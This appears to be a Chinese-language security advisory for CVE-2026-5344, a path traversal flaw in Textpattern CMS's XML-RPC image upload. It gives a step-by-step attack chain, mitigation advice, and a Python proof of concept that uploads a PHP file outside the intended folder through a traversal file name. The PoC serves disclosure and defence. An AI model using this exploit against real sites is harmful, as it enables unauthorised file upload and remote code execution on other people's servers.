IPBUF安全漏洞报告
English
CVE-2026-5344 CVSS 6.3 中危

CVE-2026-5344 Textpattern路径遍历漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-5344
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Textpattern CMS

相关标签

路径遍历TextpatternCVE-2026-5344XML-RPC文件上传

漏洞概述

Textpattern CMS 4.9.1及以下版本存在安全漏洞。该漏洞位于XML-RPC处理程序的mt_uploadImage函数中,由于对file.name参数缺乏有效过滤,攻击者可利用路径遍历漏洞上传恶意文件至任意目录。攻击者需低权限即可远程利用,可能导致系统机密性、完整性或可用性受损。

技术细节

该漏洞的核心在于Textpattern CMS处理XML-RPC请求时的输入验证缺失。具体受影响的文件是rpc/TXP_RPCServer.php中的mt_uploadImage函数。当应用程序接收到带有文件上传请求的XML-RPC调用时,它会从请求中提取file.name参数作为文件名。由于代码逻辑没有对该参数进行严格的路径合法性检查(例如未过滤../或绝对路径),攻击者可以借此实施路径遍历攻击。攻击者首先需要一个具有发帖权限的低级别账户,然后构造特定的XML数据包,将文件名参数修改为../../uploads/shell.php等格式。成功利用后,恶意文件将被上传至服务器上非预期的目录(如Web根目录),进而可能导致远程代码执行或敏感信息泄露。

攻击链分析

STEP 1
侦察
识别目标是否使用Textpattern CMS,并确认版本在4.9.1及以下。
STEP 2
获取凭证
注册或获取一个低权限账户(Contributor级别),因为CVSS向量显示需要低权限(PR:L)。
STEP 3
构造Payload
构造XML-RPC请求,调用metaWeblog.newMediaObject接口,在name字段中使用../进行路径遍历。
STEP 4
发送请求
向/rpc/TXP_RPCServer.php发送恶意请求,携带经过base64编码的恶意文件内容。
STEP 5
执行与控制
如果利用成功,Webshell将被上传至指定目录(如Web根目录),攻击者可访问该文件执行系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/textpattern/rpc/" username = "attacker" password = "password" # Malicious payload exploiting path traversal in file.name # The vulnerability is in mt_uploadImage, usually mapped to metaWeblog.newMediaObject xml_payload = """<?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>metaWeblog.newMediaObject</methodName> <params> <param> <value><string>1</string></value> <!-- BlogID --> </param> <param> <value><string>{username}</string></value> <!-- Username --> </param> <param> <value><string>{password}</string></value> <!-- Password --> </param> <param> <value> <struct> <member> <name>name</name> <value><string>../../images/shell.php</string></value> <!-- Traversal payload --> </member> <member> <name>bits</name> <value><base64>PD9waHAgcGhwaW5mbygpOyA/Pg==</base64></value> <!-- PHP content --> </member> <member> <name>type</name> <value><string>image/php</string></value> </member> </struct> </value> </param> </params> </methodCall>""".format(username=username, password=password) headers = {'Content-Type': 'application/xml'} try: response = requests.post(target_url, data=xml_payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if the file was uploaded.") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Textpattern <= 4.9.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用XML-RPC服务功能,或者通过Web服务器规则(如.htaccess或Nginx配置)阻断对/rpc/路径的外部访问,同时加强对上传目录的权限控制,禁止脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表